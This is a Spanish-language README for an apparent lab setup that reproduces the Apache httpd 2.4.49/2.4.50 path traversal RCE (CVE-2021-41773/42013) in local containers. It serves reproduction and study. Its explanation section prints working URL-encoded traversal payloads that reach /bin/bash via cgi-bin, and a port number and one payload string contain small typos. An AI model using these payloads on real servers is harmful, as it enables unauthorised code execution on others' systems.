Apache httpd RCE

Se encontró una falla en un cambio realizado a la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría usar un ataque de path traversal para asignar URLs a archivos fuera de los directorios configurados por directivas tipo Alias. Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada "require all denied", estas solicitudes pueden tener éxito. Si los scripts CGI también están habilitados para esas rutas alias, esto podría permitir la ejecución remota de código. Se sabe que este problema ha sido explotado en la naturaleza. Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores. El parche en Apache HTTP Server 2.4.50 fue incompleto; consulte CVE-2021-42013.

• Detalles del CVE
• Fuente

Versiones afectadas

• 2.4.49
• 2.4.50

Versiones corregidas

• 2.4.51

Prerrequisitos

• podman (o alias de podman como docker)
• python3 y pip3
• colorama (biblioteca de python, instalar con pip3 install colorama)

Archivos

• httpd.conf la configuración predeterminada de Apache (con el módulo CGI habilitado)
• hello.pl un ejemplo de script CGI perl hello-world que se ejecuta en los contenedores
• main.py un script de exploit de ejemplo en python

Reproducción

Inicie un Apache httpd vulnerable (con la configuración predeterminada) como contenedor docker/podman.

1. Construya ambas imágenes de contenedor 1.1 chmod +x ./build.sh 1.2 ./build.sh
2. Inicie los contenedores Apache httpd vulnerables 2.1 chmod +x ./run.sh 2.2 ./run.sh
3. verifique que el servidor web esté en ejecución 3.1 curl localhost:2449/cgi-bin/hello.pl 3.2 curl localhost:2450/cgi-bin/hello.pl

1. ejecute el script de exploit 1.1 python3 main.py localhost:4249 1.2 seleccione el ataque contra la versión 2.4.49 1.3 python3 main.py localhost:2450 1.4 seleccione el ataque contra la versión 2.4.50

Explicación

El exploit utilizará el módulo CGI de Apache httpd para permitir la ejecución de ejecutables arbitrarios mediante path traversal.

• /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
• /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash

.%2e/ está codificado en URL y equivale a ../ si se decodifica. .%%32%658 está doblemente codificado en URL y también equivale a ../ si se decodifica.

Créditos

• Autor del exploit: Valentin Lobstein
• Enlace del software: https://github.com/Balgogan/CVE-2021-41773
• Lucas Schnell